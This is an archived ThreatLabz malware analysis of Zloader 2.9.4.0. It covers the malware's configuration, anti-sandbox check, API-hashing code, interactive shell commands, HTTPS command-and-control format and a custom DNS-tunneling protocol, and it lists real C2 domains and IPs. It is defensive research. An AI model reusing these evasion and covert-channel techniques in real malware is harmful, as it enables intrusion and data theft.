{
	"id": "41afdbf2-c2a6-4b53-9c36-0fdbf38d84ec",
	"created_at": "2026-04-06T01:29:42.338374Z",
	"updated_at": "2026-04-10T03:21:50.46009Z",
	"deleted_at": null,
	"sha1_hash": "eb7b18aae1b744bff0ed740c46eba2e5d1dc9962",
	"title": "Technical Analysis of Zloader 2.9.4.0 | ThreatLabz",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 649460,
	"plain_text": "Technical Analysis of Zloader 2.9.4.0 | ThreatLabz\r\nBy ThreatLabz\r\nPublished: 2024-12-10 · Archived: 2026-04-06 01:06:52 UTC\r\nIn this section, we will analyze the changes introduced in Zloader 2.9.4.0. \r\nConfiguration\r\nThe Zloader static configuration is no longer encrypted with a hardcoded plain-text RC4 key. Instead, the RC4 key is\r\ncomputed by performing an XOR operation with two 16-byte character arrays. After decrypting Zloader’s configuration,\r\nthere are two new sections (highlighted below in red and blue) as shown below:\r\nFigure 2: Zloader decrypted static configuration.\r\nThese two sections are related to Zloader’s new DNS tunneling feature, which can encapsulate encrypted network traffic\r\nthrough a custom protocol using DNS A and AAAA records. The first new section in Zloader’s configuration contains an\r\nHTTPS URL used as the TLS Server Name Indication (SNI) during the TLS handshake. In this example, the value\r\nis  fordns . This value is then followed by Zloader’s DNS nameserver (e.g.,  ns1.brownswer.com ), which serves as the C2\r\nfor communication. The second new section in the Zloader configuration has three IP addresses (in network byte order) for\r\nthe DNS servers to use for the C2 nameserver’s resolution in order of preference.\r\n2D 3D 98 9A →  45.61.152.154\r\n08 08 04 04 → 8.8.4.4\r\n08 08 08 08 → 8.8.8.8\r\nAnti-analysis\r\nEnvironment check\r\nThreatLabz identified Zloader version 2.9.4.0 samples labeled with the botnet name  Test . These samples are noteworthy\r\nbecause they do not perform the anti-analysis registry-based environment check that we previously documented. This\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 1 of 7\n\nenvironment check normally prevents Zloader from running on any  system other than the one that it originally infected. \r\nHowever, in non-test Zloader 2.9.4.0 builds, a modified environment check is still present. Instead of checking the value of a\r\npseudo-randomly generated registry key, Zloader utilizes an alternative method. The figure below illustrates the process that\r\nZloader uses to perform this anti-analysis environment check.\r\nFigure 3: Flow chart of Zloader’s environment check.\r\nSimilar to previous versions of Zloader, the malware first checks whether its own executable name matches a hardcoded\r\nvalue that varies per sample. Zloader then computes an MD5 hash of the machine-specific bot ID.\r\nThe bot ID is composed of the following values:\r\nComputer name\r\nUser name\r\nInstall date in seconds since the epoch (1970-01-01 UTC)\r\nAn example of a bot ID is:  COMPANY1_JohnDoe_5BFEA21D\r\nZloader then retrieves a value within the executable’s .rdata section, which will be NULL if the Zloader executable has\r\nnot been used to infect a system. If the Zloader executable has been used to infect a system, this value will be filled in by\r\nZloader as part of the infection process. If the MD5 hash of the bot ID matches the expected value after installation, Zloader\r\nwill continue execution. However, if this field is not NULL and does not match the expected hash value of the bot ID,\r\nZloader will terminate. This environment check serves as an indication to the malware that the Zloader executable has been\r\ntransferred to another environment (e.g., a malware sandbox or an analyst system).\r\nDuring the installation phase, Zloader version 2.9.4.0 creates a copy of the original executable with a modified MZ header at\r\noffset 0x24, which is reserved for the OEM identifier and OEM information. The value at this offset serves as a pointer to\r\nthe  .rdata location where the MD5 hash value address is located. An example of the modified Zloader MZ header field at\r\noffset 0x24 is shown in the figure below:\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 2 of 7\n\nFigure 4: Example Zloader MZ header modification prior to initializing the expected bot ID hash parameter in the  .rdata\r\nsection.\r\nOnce the address in the  .rdata section has been located, Zloader writes the expected MD5 hash of the bot ID to this\r\nregion and zeros the modified bytes in the MZ header at offset 0x24. Zloader then launches this modified executable with\r\nthe initialized bot ID field, and deletes the original executable.\r\nAPI resolution\r\nThe import API resolution for Zloader was also updated in the latest version. The API resolution continues to use the cyclic\r\nredundancy check (CRC) algorithm, but the result is now calculated by performing an XOR operation with a constant, and\r\nfunction names are now converted to lowercase instead of uppercase letters. The following Python code replicates Zloader’s\r\nAPI resolution:\r\ndef calculate_checksum(func_name, xor_constant):\r\n checksum = xor_constant\r\n for element in func_name.lower():\r\n checksum = 16 * checksum - (0 - (ord(element)+1))\r\n if checksum \u0026 0xf0000000 != 0:\r\n checksum = ((((checksum \u0026 0xf0000000) \u003e\u003e 24) ^ checksum) \u0026 0xfffffff)\r\n return checksum ^ xor_constant\r\nZloader also now dynamically calculates the index of the DLL name to resolve functions from in each case. Before, the code\r\nonly had a single DWORD value with the checksum to resolve, and the index of the DLL was hardcoded. Now, Zloader uses\r\ntwo DWORDs per function to determine the DLL and function name. The figure below shows an example of several API\r\nfunctions and the corresponding  DWORD values used for the resolution.\r\nFigure 5: Example Zloader values used to resolve API import names.\r\nAn XOR operation with a constant value (that changes per sample) is performed with the second  DWORD . Another XOR\r\noperation is performed with the result and the first  DWORD . The code that replicates this algorithm is shown below:\r\ndll_hash_index = dword_2 ^ 0xC3C0D88F; // the XOR constant varies per sample\r\nhash_xor_crc = dll_hash_index ^ dword_1;\r\nInteractive shell\r\nAnother new feature introduced in Zloader 2.9.4.0 was an interactive shell that provides the threat actor with the ability to\r\nexecute arbitrary binaries and shellcode, exfiltrate data, terminate processes, etc. The table below shows the commands that\r\nare currently implemented in Zloader. \r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 3 of 7\n\nCommand Description\r\nexec Execute binary.\r\ncmd Native command line.\r\ngetfile Get file from server  rshell/files .\r\nsendfile Send file to the server  rshell/uploads .\r\ngetsc Get shellcode from server  rshell/files .\r\nrunsc Run shellcode with the specified architecture.\r\ngetdll Get DLL from the server  rshell/files .\r\nrundll Run DLL from memory.\r\nfind_process Find process by name.\r\nstatus_process Get process status by PID.\r\nkill Kill process.\r\ncd Display/change current directory.\r\ndir Show contents of a directory.\r\nbot_id Show bot ID.\r\nexit Quit shell.\r\nTable 1: Zloader 2.9.4.0 interactive shell commands.\r\nThese commands are likely used by threat actors when performing hands-on keyboard activity related to reconnaissance and\r\nransomware deployment.\r\nNetwork communication\r\nHTTPS\r\nZloader continues to use HTTPS with POST requests as the primary C2 communication channel. However, the Zloader\r\nHTTP headers have changed. For example, the  User-Agent field is now set to  PresidentPutin . In addition, Zloader adds\r\na  Rand HTTP header value set to pseudo random alphabetic characters between 32 and 255 characters in length. Since the\r\nrequest is sent via TLS, the  Rand field varies the packet size to prevent potential size-based network detections. An\r\nexample Zloader C2 HTTP POST request is shown below:\r\nPOST / HTTP/1.1\r\nHost: bigdealcenter.world\r\nUser-Agent: PresidentPutin\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 4 of 7\n\nRand: ififywiqobnuebnodoexitnaeppupeohruloxycaevsariuvupdefesyruyhefiguddyybebipcusobywezalykosyazubykaskyduniilsifeucxybo\r\nConnection: close\r\nContent-Length: 300\r\nZloader uses the Security Support Provider Interface (SSPI) for TLS, rather than using the WinINet API.\r\nThe body of the HTTP POST request continues to use the same bin storage data structure from Zeus as shown below:\r\nstruct zeus_binstorage {\r\n unsigned char[20] random_bytes;\r\n size_t total_size;\r\n unsigned int num_items;\r\n unsigned char[16] md5_hash;\r\n size_t item_type_1;\r\n unsigned int compressed_size_1;\r\n unsigned int uncompressed_size_1;\r\n unsigned char[compressed_size_1] item_data_1;\r\n ...\r\n size_t item_type_n;\r\n unsigned int compressed_size_n;\r\n unsigned int uncompressed_size_n;\r\n unsigned char[compressed_size_n] item_data_n;\r\n}\r\nThe bin storage data structure is then encrypted with the Zeus  VisualEncrypt algorithm, then encrypted again with a\r\nrandomly generated 32-byte RC4 key. The RC4 key itself is then encrypted with a hardcoded 1,024-bit RSA public key.\r\nThus, the first 128 bytes of the payload are the RSA encrypted RC4 key, followed by the RC4 +  VisualEncrypt encrypted\r\nbin storage content.\r\nDNS tunneling\r\nThe most significant update to Zloader’s C2 communication is the addition of DNS tunneling. Zloader implements a custom\r\nprotocol on top of DNS using IPv4 to tunnel encrypted TLS network traffic (using the Windows SSPI API). Zloader\r\nconstructs and parses DNS packets without relying on a third party library or the Windows API.\r\nZloader DNS requests use the following format: \r\n[prefix].[header].[payload].[zloader_nameserver_domain]\r\nThe header consists of 14 bytes that are converted into 28 lowercase hexadecimal values.\r\nThe 14-byte header consists of the following structure:\r\nstruct zloader_dns_tunnel_header{\r\n unsigned int session_id; // Randomly generated\r\n unsigned int sequence_num; // Incremented per packet\r\n byte msg_type; // 1-9\r\n byte reserved; // Reserved\r\n unsigned int generic_var; // Varies by msg_type\r\n}\r\nThe meaning of the last two fields varies depending on the message type, and is unused for some message types. For\r\nmessage type  0x4 , the  generic_var value denotes the number of parts that the message is broken into (typically 3)\r\nseparated by periods. Each part can contain up to 62 characters (31 bytes) to remain compliant with the DNS protocol limit\r\nof 63 characters. Each packet can contain up to three parts per packet. Therefore, larger messages must be fragmented and\r\nsent in multiple packets. An example of a message type  0x4 (TLS client hello) Zloader DNS packet is shown below:\r\ncdn.90baf13f03000000040003000000.160303009d0100009903036713bfbe1a8dea1ce0b97a5196762fe327f8da77.0a06e9aff09fff3a4f07cc140\r\nThis first component cdn is a hardcoded prefix value. The second component 90baf13f03000000040003000000 is the\r\nheader that can be converted from a hexadecimal string to binary values as shown below: \r\nSession ID: 0x3ff1ba90\r\nSequence number: 0x3\r\nMessage type: 0x4\r\nField 1: 0x0\r\nField 2: 0x3 (number of parts in the request)\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 5 of 7\n\nThe third component of the request is the\r\npayload:  160303009d0100009903036713bfbe1a8dea1ce0b97a5196762fe327f8da77.0a06e9aff09fff3a4f07cc1400002ac02cc02bc030c02f009f009ec024c023.c0\r\nwhich in this example can be parsed as a TLS client hello message (after converting from hexadecimal and removing the\r\nperiods), as shown below: \r\nContent Type: 16 (0x16) indicates a Handshake message.\r\nVersion: 0303 (0x0303) indicates Handshake version TLS 1.2.\r\nLength: 009d (0x009d) indicates the length of the Handshake message (157 bytes).\r\nHandshake Type:  01 (0x01) indicates a ClientHello message.\r\nLength:  000099 (0x000099) indicates the length of the ClientHello message (153 bytes).\r\nVersion:  0303 (0x0303) indicates ClientHello version TLS 1.2.\r\nRandom:  6713bfbe1a8dea1ce0b97a5196762fe327f8da770a06e9aff09fff3a4f07cc14 (32 bytes) is the client's random\r\nvalue.\r\nSession ID Length:  00 (0x00) indicates that there is no session ID.\r\nCipher Suites Length:  002a (0x002a) indicates the length of the cipher suites (42 bytes).\r\nCipher Suites:\r\nc02c (TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384)\r\nc02b (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256)\r\nc030 (TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)\r\nc02f (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256)\r\n009f (TLS_DHE_RSA_WITH_AES_256_GCM_SHA384)\r\n009e (TLS_DHE_RSA_WITH_AES_128_GCM_SHA256)\r\nc024 (TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384)\r\nc023 (TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256)\r\nc028 (TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384)\r\nc027 (TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256)\r\nc00a (TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA)\r\nc009 (TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA)\r\nc014 (TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA)\r\nc013 (TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA)\r\n009d (TLS_RSA_WITH_AES_256_GCM_SHA384)\r\n009c (TLS_RSA_WITH_AES_128_GCM_SHA256)\r\n003d (TLS_RSA_WITH_AES_256_CBC_SHA256)\r\n003c (TLS_RSA_WITH_AES_128_CBC_SHA256)\r\nThe last component  ns1.brownswer.com is the Zloader C2 domain nameserver.\r\nFor message type  0x7 , the  field_2 value specifies the number of bytes that have been received (and acknowledged)\r\nfrom the DNS server. The following table shows the current Zloader DNS message types.\r\nMessage Type Description Record Type\r\n0x1 Ping. A\r\n0x2 Session start. A\r\n0x3 Session initialization. A\r\n0x4 TLS client hello / client application data transfer. A\r\n0x5 Client data transfer complete. A\r\n0x6 Prepare server response. A\r\n0x7 TLS server hello request / server application data. AAAA\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 6 of 7\n\nMessage Type Description Record Type\r\n0x8 Sent when the sequence number is a multiple of 100 (and greater than 0). A\r\n0x9 Unknown. A\r\nTable 2: Zloader 2.9.4.0 DNS tunnel message types.\r\nThe Zloader DNS server responds with A records that contain IPv4 addresses which serve different purposes. For example,\r\nthe IPv4 address  8.8.8.8 is used as an acknowledgement message. For message type  0x7 packets that may involve\r\ntransferring large amounts of data, the Zloader DNS server responds with IPv6 AAAA records.\r\nBotnet and campaign IDs\r\nThreatLabz has identified the following Zloader version 2.9.4.0 botnet IDs and campaigns:\r\nBotnet ID Campaign ID File Names\r\nTest 1.0 HexaPort.exe , SyncSuite.exe , OmniScript.dll , PixelSignal.dll\r\nPenta1 1.1 HexaLab.dll , HexaPort.dll\r\nPenta2 1.1 HexaPort.dll , XenoGraph.dll , GridCloud.dll\r\nBB3 1.1 PhoenixHub.dll , XenoLogic.dll\r\nTable 3: Zloader 2.9.4.0 botnet IDs, campaign IDs, and file names.\r\nThe botnet ID BB3 is notable because it follows the same format used by Qakbot and Pikabot when those threat groups\r\nserved as initial access brokers for Black Basta ransomware. Open source reporting, including CISA and Rapid7, has also\r\ntied Zloader with Black Basta distribution. Thus, ThreatLabz assesses with moderate to high confidence that this specific\r\nZloader botnet ID is related to Black Basta ransomware attacks.\r\nSource: https://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nhttps://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling"
	],
	"report_names": [
		"inside-zloader-s-latest-trick-dns-tunneling"
	],
	"threat_actors": [],
	"ts_created_at": 1775438982,
	"ts_updated_at": 1775791310,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/eb7b18aae1b744bff0ed740c46eba2e5d1dc9962.pdf",
		"text": "https://archive.orkl.eu/eb7b18aae1b744bff0ed740c46eba2e5d1dc9962.txt",
		"img": "https://archive.orkl.eu/eb7b18aae1b744bff0ed740c46eba2e5d1dc9962.jpg"
	}
}